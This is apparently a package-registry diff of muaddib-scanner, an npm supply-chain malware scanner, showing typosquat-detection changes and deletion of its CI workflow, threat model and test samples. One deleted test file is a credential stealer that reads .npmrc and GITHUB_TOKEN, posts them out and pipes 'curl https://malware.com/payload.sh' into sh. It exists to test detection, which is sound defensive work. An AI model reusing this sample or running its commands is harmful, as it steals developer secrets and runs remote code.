muaddib-scanner 1.0.8 → 1.0.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.muaddib-cache/iocs.json +355 -0
- package/README.fr.md +310 -0
- package/README.md +118 -93
- package/bin/muaddib.js +33 -26
- package/data/iocs.json +28 -0
- package/package.json +3 -3
- package/rapport.html +159 -0
- package/src/index.js +73 -15
- package/src/ioc/scraper.js +91 -50
- package/src/rules/index.js +40 -1
- package/src/scanner/typosquat.js +52 -118
- package/.github/workflows/scan.yml +0 -33
- package/docs/threat-model.md +0 -116
- package/test/samples/malicious.js +0 -20
- package/tests/run-tests.js +0 -389
- package/tests/samples/ast/malicious.js +0 -20
- package/tests/samples/clean/safe.js +0 -14
- package/tests/samples/dataflow/exfiltration.js +0 -20
- package/tests/samples/edge/empty/empty.js +0 -0
- package/tests/samples/edge/invalid-syntax/broken.js +0 -5
- package/tests/samples/edge/large-file/large.js +0 -6
- package/tests/samples/edge/non-js/readme.txt +0 -3
- package/tests/samples/markers/shai-hulud.js +0 -10
- package/tests/samples/obfuscation/obfuscated.js +0 -1
- package/tests/samples/package/package.json +0 -9
- package/tests/samples/shell/malicious.sh +0 -13
- package/tests/samples/typosquat/package.json +0 -11
- package/vscode-extension/.vscode/launch.json +0 -13
- package/vscode-extension/.vscodeignore +0 -0
- package/vscode-extension/LICENSE +0 -21
- package/vscode-extension/README.md +0 -0
- package/vscode-extension/extension.js +0 -271
- package/vscode-extension/icon.png +0 -0
- package/vscode-extension/muaddib-vscode-1.0.0.vsix +0 -0
- package/vscode-extension/package.json +0 -64
- package/vscode-extension/vscode-extension/README.md +0 -44
- package/vscode-extension/vscode-extension/package.json +0 -64
package/src/scanner/typosquat.js
CHANGED
|
@@ -7,57 +7,46 @@ const POPULAR_PACKAGES = [
|
|
|
7
7
|
'request', 'async', 'bluebird', 'underscore', 'uuid', 'debug', 'mkdirp',
|
|
8
8
|
'glob', 'minimist', 'webpack', 'babel-core', 'typescript', 'eslint',
|
|
9
9
|
'prettier', 'jest', 'mocha', 'chai', 'sinon', 'mongoose', 'sequelize',
|
|
10
|
-
'mysql', '
|
|
10
|
+
'mysql', 'redis', 'mongodb', 'socket.io', 'express-session',
|
|
11
11
|
'body-parser', 'cookie-parser', 'cors', 'helmet', 'morgan', 'dotenv',
|
|
12
12
|
'jsonwebtoken', 'bcrypt', 'passport', 'nodemailer', 'aws-sdk', 'stripe',
|
|
13
13
|
'twilio', 'firebase', 'graphql', 'apollo-server', 'next', 'nuxt',
|
|
14
|
-
'gatsby', '
|
|
14
|
+
'gatsby', 'angular', 'svelte', 'electron', 'puppeteer', 'cheerio',
|
|
15
15
|
'sharp', 'jimp', 'canvas', 'pdf-lib', 'exceljs', 'csv-parser', 'xml2js',
|
|
16
|
-
'yaml', '
|
|
17
|
-
'winston', 'bunyan', 'pino', 'log4js', 'ramda', '
|
|
18
|
-
'mobx', 'redux', 'zustand', 'formik', 'yup', '
|
|
16
|
+
'yaml', 'config', 'yargs', 'inquirer', 'ora', 'colors',
|
|
17
|
+
'winston', 'bunyan', 'pino', 'log4js', 'ramda', 'immutable',
|
|
18
|
+
'mobx', 'redux', 'zustand', 'formik', 'yup', 'ajv', 'validator',
|
|
19
19
|
'date-fns', 'dayjs', 'luxon', 'numeral', 'accounting', 'currency.js',
|
|
20
20
|
'lodash-es', 'core-js', 'regenerator-runtime', 'tslib', 'classnames',
|
|
21
|
-
'prop-types', 'cross-env', '
|
|
21
|
+
'prop-types', 'cross-env', 'node-fetch', 'got'
|
|
22
22
|
];
|
|
23
23
|
|
|
24
|
-
// Packages legitimes qui ressemblent a des populaires
|
|
24
|
+
// Packages legitimes courts ou qui ressemblent a des populaires
|
|
25
25
|
const WHITELIST = [
|
|
26
|
-
|
|
27
|
-
'
|
|
28
|
-
'
|
|
29
|
-
'
|
|
30
|
-
'
|
|
31
|
-
'
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
'
|
|
35
|
-
'ts-node',
|
|
36
|
-
'
|
|
37
|
-
'
|
|
38
|
-
'
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
'
|
|
42
|
-
'
|
|
43
|
-
'
|
|
44
|
-
'
|
|
45
|
-
'
|
|
46
|
-
'vue-router',
|
|
47
|
-
'express-session',
|
|
48
|
-
'body-parser',
|
|
49
|
-
'cookie-parser'
|
|
26
|
+
// Packages tres courts legitimes
|
|
27
|
+
'qs', 'pg', 'ms', 'ws', 'ip', 'on', 'is', 'it', 'to', 'or', 'fs', 'os',
|
|
28
|
+
'co', 'q', 'n', 'i', 'a', 'v', 'x', 'y', 'z',
|
|
29
|
+
'ejs', 'nyc', 'ini', 'joi', 'vue', 'npm', 'got', 'ora',
|
|
30
|
+
'vary', 'mime', 'send', 'etag', 'raw', 'tar', 'uid', 'cjs',
|
|
31
|
+
'rxjs', 'yarn', 'pnpm',
|
|
32
|
+
|
|
33
|
+
// Packages legitimes avec noms similaires
|
|
34
|
+
'acorn', 'acorn-walk', 'js-yaml', 'cross-env', 'node-fetch', 'node-gyp',
|
|
35
|
+
'core-js', 'lodash-es', 'date-fns', 'ts-node', 'ts-jest',
|
|
36
|
+
'css-loader', 'style-loader', 'file-loader', 'url-loader', 'babel-loader',
|
|
37
|
+
'vue-loader', 'react-dom', 'react-router', 'react-redux', 'vue-router',
|
|
38
|
+
'express-session', 'body-parser', 'cookie-parser',
|
|
39
|
+
|
|
40
|
+
// Packages Express.js communs
|
|
41
|
+
'accepts', 'array-flatten', 'content-disposition', 'content-type',
|
|
42
|
+
'depd', 'destroy', 'encodeurl', 'escape-html', 'fresh', 'merge-descriptors',
|
|
43
|
+
'methods', 'on-finished', 'parseurl', 'path-to-regexp', 'proxy-addr',
|
|
44
|
+
'range-parser', 'safe-buffer', 'safer-buffer', 'setprototypeof',
|
|
45
|
+
'statuses', 'type-is', 'unpipe', 'utils-merge'
|
|
50
46
|
];
|
|
51
47
|
|
|
52
|
-
//
|
|
53
|
-
const
|
|
54
|
-
{ type: 'missing_char', fn: (name) => generateMissingChar(name) },
|
|
55
|
-
{ type: 'extra_char', fn: (name) => generateExtraChar(name) },
|
|
56
|
-
{ type: 'swapped_chars', fn: (name) => generateSwappedChars(name) },
|
|
57
|
-
{ type: 'wrong_char', fn: (name) => generateWrongChar(name) },
|
|
58
|
-
{ type: 'hyphen_tricks', fn: (name) => generateHyphenTricks(name) },
|
|
59
|
-
{ type: 'suffix_tricks', fn: (name) => generateSuffixTricks(name) }
|
|
60
|
-
];
|
|
48
|
+
// Seuil minimum de longueur pour eviter faux positifs
|
|
49
|
+
const MIN_PACKAGE_LENGTH = 4;
|
|
61
50
|
|
|
62
51
|
async function scanTyposquatting(targetPath) {
|
|
63
52
|
const threats = [];
|
|
@@ -98,18 +87,24 @@ async function scanTyposquatting(targetPath) {
|
|
|
98
87
|
|
|
99
88
|
function findTyposquatMatch(name) {
|
|
100
89
|
// Ignore les packages whitelistes
|
|
101
|
-
if (WHITELIST.includes(name)) return null;
|
|
90
|
+
if (WHITELIST.includes(name.toLowerCase())) return null;
|
|
102
91
|
|
|
103
92
|
// Ignore les packages scoped (@org/package)
|
|
104
93
|
if (name.startsWith('@')) return null;
|
|
105
94
|
|
|
95
|
+
// Ignore les packages tres courts (trop de faux positifs)
|
|
96
|
+
if (name.length < MIN_PACKAGE_LENGTH) return null;
|
|
97
|
+
|
|
106
98
|
for (const popular of POPULAR_PACKAGES) {
|
|
107
99
|
// Ignore si c'est exactement le meme
|
|
108
|
-
if (name === popular) continue;
|
|
100
|
+
if (name.toLowerCase() === popular.toLowerCase()) continue;
|
|
109
101
|
|
|
110
|
-
|
|
102
|
+
// Ignore si le package populaire est trop court
|
|
103
|
+
if (popular.length < MIN_PACKAGE_LENGTH) continue;
|
|
104
|
+
|
|
105
|
+
const distance = levenshteinDistance(name.toLowerCase(), popular.toLowerCase());
|
|
111
106
|
|
|
112
|
-
// Distance de 1
|
|
107
|
+
// Distance de 1 = tres suspect (une seule lettre de difference)
|
|
113
108
|
if (distance === 1) {
|
|
114
109
|
return {
|
|
115
110
|
original: popular,
|
|
@@ -118,8 +113,8 @@ function findTyposquatMatch(name) {
|
|
|
118
113
|
};
|
|
119
114
|
}
|
|
120
115
|
|
|
121
|
-
// Distance de 2
|
|
122
|
-
if (distance === 2 && popular.length
|
|
116
|
+
// Distance de 2 seulement si le package est assez long (>= 8 chars)
|
|
117
|
+
if (distance === 2 && popular.length >= 8) {
|
|
123
118
|
return {
|
|
124
119
|
original: popular,
|
|
125
120
|
type: detectTyposquatType(name, popular),
|
|
@@ -156,16 +151,21 @@ function detectTyposquatType(typo, original) {
|
|
|
156
151
|
}
|
|
157
152
|
|
|
158
153
|
function isSuffixTrick(name, popular) {
|
|
154
|
+
const nameLower = name.toLowerCase();
|
|
155
|
+
const popularLower = popular.toLowerCase();
|
|
156
|
+
|
|
159
157
|
const suffixes = ['-js', '.js', '-node', '-npm', '-cli', '-api', '-lib', '-pkg', '-dev', '-pro'];
|
|
160
158
|
for (const suffix of suffixes) {
|
|
161
|
-
if (
|
|
162
|
-
if (
|
|
159
|
+
if (nameLower === popularLower + suffix) return true;
|
|
160
|
+
if (nameLower === popularLower.replace('-', '') + suffix) return true;
|
|
163
161
|
}
|
|
162
|
+
|
|
164
163
|
// Verifie aussi les prefixes
|
|
165
164
|
const prefixes = ['node-', 'npm-', 'js-', 'get-', 'the-'];
|
|
166
165
|
for (const prefix of prefixes) {
|
|
167
|
-
if (
|
|
166
|
+
if (nameLower === prefix + popularLower) return true;
|
|
168
167
|
}
|
|
168
|
+
|
|
169
169
|
return false;
|
|
170
170
|
}
|
|
171
171
|
|
|
@@ -186,9 +186,9 @@ function levenshteinDistance(a, b) {
|
|
|
186
186
|
matrix[i][j] = matrix[i - 1][j - 1];
|
|
187
187
|
} else {
|
|
188
188
|
matrix[i][j] = Math.min(
|
|
189
|
-
matrix[i - 1][j - 1] + 1,
|
|
190
|
-
matrix[i][j - 1] + 1,
|
|
191
|
-
matrix[i - 1][j] + 1
|
|
189
|
+
matrix[i - 1][j - 1] + 1,
|
|
190
|
+
matrix[i][j - 1] + 1,
|
|
191
|
+
matrix[i - 1][j] + 1
|
|
192
192
|
);
|
|
193
193
|
}
|
|
194
194
|
}
|
|
@@ -197,70 +197,4 @@ function levenshteinDistance(a, b) {
|
|
|
197
197
|
return matrix[b.length][a.length];
|
|
198
198
|
}
|
|
199
199
|
|
|
200
|
-
// Generateurs pour tests (pas utilises dans le scan, mais utiles pour enrichir les IOCs)
|
|
201
|
-
function generateMissingChar(name) {
|
|
202
|
-
const results = [];
|
|
203
|
-
for (let i = 0; i < name.length; i++) {
|
|
204
|
-
results.push(name.slice(0, i) + name.slice(i + 1));
|
|
205
|
-
}
|
|
206
|
-
return results;
|
|
207
|
-
}
|
|
208
|
-
|
|
209
|
-
function generateExtraChar(name) {
|
|
210
|
-
const results = [];
|
|
211
|
-
const chars = 'abcdefghijklmnopqrstuvwxyz0123456789-';
|
|
212
|
-
for (let i = 0; i <= name.length; i++) {
|
|
213
|
-
for (const char of chars) {
|
|
214
|
-
results.push(name.slice(0, i) + char + name.slice(i));
|
|
215
|
-
}
|
|
216
|
-
}
|
|
217
|
-
return results;
|
|
218
|
-
}
|
|
219
|
-
|
|
220
|
-
function generateSwappedChars(name) {
|
|
221
|
-
const results = [];
|
|
222
|
-
for (let i = 0; i < name.length - 1; i++) {
|
|
223
|
-
const arr = name.split('');
|
|
224
|
-
[arr[i], arr[i + 1]] = [arr[i + 1], arr[i]];
|
|
225
|
-
results.push(arr.join(''));
|
|
226
|
-
}
|
|
227
|
-
return results;
|
|
228
|
-
}
|
|
229
|
-
|
|
230
|
-
function generateWrongChar(name) {
|
|
231
|
-
const results = [];
|
|
232
|
-
const keyboard = {
|
|
233
|
-
'a': 'sqwz', 'b': 'vghn', 'c': 'xdfv', 'd': 'serfcx', 'e': 'wsdfr',
|
|
234
|
-
'f': 'drtgvc', 'g': 'ftyhbv', 'h': 'gyujnb', 'i': 'ujklo', 'j': 'huikmn',
|
|
235
|
-
'k': 'jiolm', 'l': 'kop', 'm': 'njk', 'n': 'bhjm', 'o': 'iklp',
|
|
236
|
-
'p': 'ol', 'q': 'wa', 'r': 'edft', 's': 'awedxz', 't': 'rfgy',
|
|
237
|
-
'u': 'yhji', 'v': 'cfgb', 'w': 'qase', 'x': 'zsdc', 'y': 'tghu', 'z': 'asx'
|
|
238
|
-
};
|
|
239
|
-
for (let i = 0; i < name.length; i++) {
|
|
240
|
-
const char = name[i].toLowerCase();
|
|
241
|
-
if (keyboard[char]) {
|
|
242
|
-
for (const replacement of keyboard[char]) {
|
|
243
|
-
results.push(name.slice(0, i) + replacement + name.slice(i + 1));
|
|
244
|
-
}
|
|
245
|
-
}
|
|
246
|
-
}
|
|
247
|
-
return results;
|
|
248
|
-
}
|
|
249
|
-
|
|
250
|
-
function generateHyphenTricks(name) {
|
|
251
|
-
const results = [];
|
|
252
|
-
// Ajouter des hyphens
|
|
253
|
-
for (let i = 1; i < name.length; i++) {
|
|
254
|
-
results.push(name.slice(0, i) + '-' + name.slice(i));
|
|
255
|
-
}
|
|
256
|
-
// Retirer des hyphens
|
|
257
|
-
results.push(name.replace(/-/g, ''));
|
|
258
|
-
return results;
|
|
259
|
-
}
|
|
260
|
-
|
|
261
|
-
function generateSuffixTricks(name) {
|
|
262
|
-
const suffixes = ['-js', '.js', '-node', '-npm', '-cli'];
|
|
263
|
-
return suffixes.map(s => name + s);
|
|
264
|
-
}
|
|
265
|
-
|
|
266
200
|
module.exports = { scanTyposquatting, levenshteinDistance };
|
|
@@ -1,33 +0,0 @@
|
|
|
1
|
-
name: MUADDIB Security Scan
|
|
2
|
-
|
|
3
|
-
on:
|
|
4
|
-
push:
|
|
5
|
-
branches: [master, main]
|
|
6
|
-
pull_request:
|
|
7
|
-
branches: [master, main]
|
|
8
|
-
|
|
9
|
-
jobs:
|
|
10
|
-
scan:
|
|
11
|
-
runs-on: ubuntu-latest
|
|
12
|
-
permissions:
|
|
13
|
-
security-events: write
|
|
14
|
-
contents: read
|
|
15
|
-
steps:
|
|
16
|
-
- name: Checkout code
|
|
17
|
-
uses: actions/checkout@v4
|
|
18
|
-
|
|
19
|
-
- name: Setup Node.js
|
|
20
|
-
uses: actions/setup-node@v4
|
|
21
|
-
with:
|
|
22
|
-
node-version: '20'
|
|
23
|
-
|
|
24
|
-
- name: Install dependencies
|
|
25
|
-
run: npm install
|
|
26
|
-
|
|
27
|
-
- name: Run MUADDIB scan
|
|
28
|
-
run: node bin/muaddib.js scan . --sarif results.sarif || true
|
|
29
|
-
|
|
30
|
-
- name: Upload SARIF to GitHub Security
|
|
31
|
-
uses: github/codeql-action/upload-sarif@v3
|
|
32
|
-
with:
|
|
33
|
-
sarif_file: results.sarif
|
package/docs/threat-model.md
DELETED
|
@@ -1,116 +0,0 @@
|
|
|
1
|
-
# MUAD'DIB Threat Model
|
|
2
|
-
|
|
3
|
-
## Ce que MUAD'DIB detecte
|
|
4
|
-
|
|
5
|
-
### Attaques Supply Chain npm
|
|
6
|
-
|
|
7
|
-
| Technique | Detection | Confidence |
|
|
8
|
-
|-----------|-----------|------------|
|
|
9
|
-
| Packages malveillants connus | Hash SHA256 + nom | HIGH |
|
|
10
|
-
| Shai-Hulud v1/v2/v3 | Marqueurs + fichiers + comportements | HIGH |
|
|
11
|
-
| event-stream (2018) | Nom + version | HIGH |
|
|
12
|
-
| Typosquatting | Liste de packages connus | MEDIUM |
|
|
13
|
-
| Protestware (node-ipc, colors) | Nom + version | HIGH |
|
|
14
|
-
|
|
15
|
-
### Comportements malveillants
|
|
16
|
-
|
|
17
|
-
| Technique | Detection | Confidence |
|
|
18
|
-
|-----------|-----------|------------|
|
|
19
|
-
| Vol de credentials (.npmrc, .ssh) | Analyse AST | HIGH |
|
|
20
|
-
| Exfiltration via env vars (GITHUB_TOKEN) | Analyse AST | HIGH |
|
|
21
|
-
| Execution de code distant (curl \| sh) | Pattern matching | HIGH |
|
|
22
|
-
| Reverse shell | Pattern matching | HIGH |
|
|
23
|
-
| Dead man's switch (rm -rf $HOME) | Pattern matching | HIGH |
|
|
24
|
-
| Code obfusque | Heuristiques | MEDIUM |
|
|
25
|
-
|
|
26
|
-
### Flux de donnees suspects
|
|
27
|
-
|
|
28
|
-
| Technique | Detection | Confidence |
|
|
29
|
-
|-----------|-----------|------------|
|
|
30
|
-
| Lecture credential + envoi reseau | Analyse dataflow | HIGH |
|
|
31
|
-
| Acces process.env + fetch/request | Analyse dataflow | HIGH |
|
|
32
|
-
|
|
33
|
-
## Ce que MUAD'DIB NE detecte PAS
|
|
34
|
-
|
|
35
|
-
### Limitations connues
|
|
36
|
-
|
|
37
|
-
| Technique | Raison |
|
|
38
|
-
|-----------|--------|
|
|
39
|
-
| Malware polymorphe | Pas d'analyse dynamique |
|
|
40
|
-
| Obfuscation avancee | Heuristiques limitees |
|
|
41
|
-
| Zero-day (packages inconnus) | Base IOC reactive |
|
|
42
|
-
| Attaques via binaires natifs | Pas d'analyse binaire |
|
|
43
|
-
| Backdoors subtiles | Pas de review de code semantique |
|
|
44
|
-
| Time bombs (declenchement differe) | Pas d'analyse temporelle |
|
|
45
|
-
|
|
46
|
-
### Faux negatifs potentiels
|
|
47
|
-
|
|
48
|
-
- Code malveillant dans des fichiers non-JS (WASM, binaires)
|
|
49
|
-
- Exfiltration via DNS ou autres canaux couverts
|
|
50
|
-
- Malware qui detecte l'environnement d'analyse
|
|
51
|
-
- Attaques multi-etapes avec payload distant
|
|
52
|
-
|
|
53
|
-
## Hypotheses
|
|
54
|
-
|
|
55
|
-
1. **Le code source est disponible** — MUAD'DIB analyse le code, pas les binaires
|
|
56
|
-
2. **Les IOCs sont a jour** — La detection depend de la base IOC
|
|
57
|
-
3. **L'attaquant utilise des techniques connues** — Zero-days passent a travers
|
|
58
|
-
4. **Le scan est execute avant l'installation** — Apres `npm install`, c'est trop tard si preinstall a execute
|
|
59
|
-
|
|
60
|
-
## Architecture de detection
|
|
61
|
-
```
|
|
62
|
-
┌─────────────────────────────────────────────────────────────┐
|
|
63
|
-
│ MUAD'DIB Scanner │
|
|
64
|
-
├─────────────────────────────────────────────────────────────┤
|
|
65
|
-
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────────────┐ │
|
|
66
|
-
│ │ IOC Match │ │ AST Parse │ │ Pattern Matching │ │
|
|
67
|
-
│ │ (hashes, │ │ (acorn) │ │ (shell, scripts) │ │
|
|
68
|
-
│ │ packages) │ │ │ │ │ │
|
|
69
|
-
│ └──────┬──────┘ └──────┬──────┘ └──────────┬──────────┘ │
|
|
70
|
-
│ │ │ │ │
|
|
71
|
-
│ v v v │
|
|
72
|
-
│ ┌─────────────────────────────────────────────────────────┐│
|
|
73
|
-
│ │ Dataflow Analysis ││
|
|
74
|
-
│ │ (credential read -> network send) ││
|
|
75
|
-
│ └─────────────────────────────────────────────────────────┘│
|
|
76
|
-
│ │ │ │ │
|
|
77
|
-
│ v v v │
|
|
78
|
-
│ ┌─────────────────────────────────────────────────────────┐│
|
|
79
|
-
│ │ Threat Enrichment ││
|
|
80
|
-
│ │ (rules, MITRE ATT&CK, playbooks) ││
|
|
81
|
-
│ └─────────────────────────────────────────────────────────┘│
|
|
82
|
-
└─────────────────────────────────────────────────────────────┘
|
|
83
|
-
```
|
|
84
|
-
|
|
85
|
-
## Mapping MITRE ATT&CK
|
|
86
|
-
|
|
87
|
-
| Technique | ID | Detection MUAD'DIB |
|
|
88
|
-
|-----------|----|--------------------|
|
|
89
|
-
| Credentials in Files | T1552.001 | AST analysis |
|
|
90
|
-
| Command and Scripting Interpreter | T1059 | Pattern matching |
|
|
91
|
-
| Supply Chain Compromise | T1195.002 | IOC matching |
|
|
92
|
-
| Obfuscated Files | T1027 | Heuristics |
|
|
93
|
-
| Exfiltration Over C2 Channel | T1041 | Dataflow analysis |
|
|
94
|
-
| Data Destruction | T1485 | Pattern matching |
|
|
95
|
-
| Ingress Tool Transfer | T1105 | Pattern matching |
|
|
96
|
-
|
|
97
|
-
## Recommandations
|
|
98
|
-
|
|
99
|
-
### Pour les utilisateurs
|
|
100
|
-
|
|
101
|
-
1. Executer `muaddib scan .` AVANT `npm install`
|
|
102
|
-
2. Mettre a jour les IOCs regulierement (`muaddib update`)
|
|
103
|
-
3. Utiliser le mode `--explain` pour comprendre les detections
|
|
104
|
-
4. Integrer dans CI/CD avec sortie SARIF
|
|
105
|
-
|
|
106
|
-
### Pour les equipes securite
|
|
107
|
-
|
|
108
|
-
1. Completer avec une analyse dynamique (sandbox)
|
|
109
|
-
2. Monitorer les nouveaux packages avant adoption
|
|
110
|
-
3. Utiliser `--sarif` pour integration SIEM
|
|
111
|
-
4. Contribuer des IOCs via PR sur le repo
|
|
112
|
-
|
|
113
|
-
## Contacts
|
|
114
|
-
|
|
115
|
-
- Repository: https://github.com/DNSZLSK/muad-dib
|
|
116
|
-
- Issues: https://github.com/DNSZLSK/muad-dib/issues
|
|
@@ -1,20 +0,0 @@
|
|
|
1
|
-
// Exemple de code malveillant style Shai-Hulud
|
|
2
|
-
const fs = require('fs');
|
|
3
|
-
const https = require('https');
|
|
4
|
-
const { exec } = require('child_process');
|
|
5
|
-
|
|
6
|
-
// Vol de credentials
|
|
7
|
-
const npmrc = fs.readFileSync(process.env.HOME + '/.npmrc', 'utf8');
|
|
8
|
-
const token = process.env.GITHUB_TOKEN;
|
|
9
|
-
|
|
10
|
-
// Exfiltration
|
|
11
|
-
const data = JSON.stringify({ npmrc, token });
|
|
12
|
-
const req = https.request('https://api.github.com/repos', {
|
|
13
|
-
method: 'POST',
|
|
14
|
-
headers: { 'Content-Type': 'application/json' }
|
|
15
|
-
});
|
|
16
|
-
req.write(data);
|
|
17
|
-
req.end();
|
|
18
|
-
|
|
19
|
-
// Execution de commande
|
|
20
|
-
exec('curl https://malware.com/payload.sh | sh');
|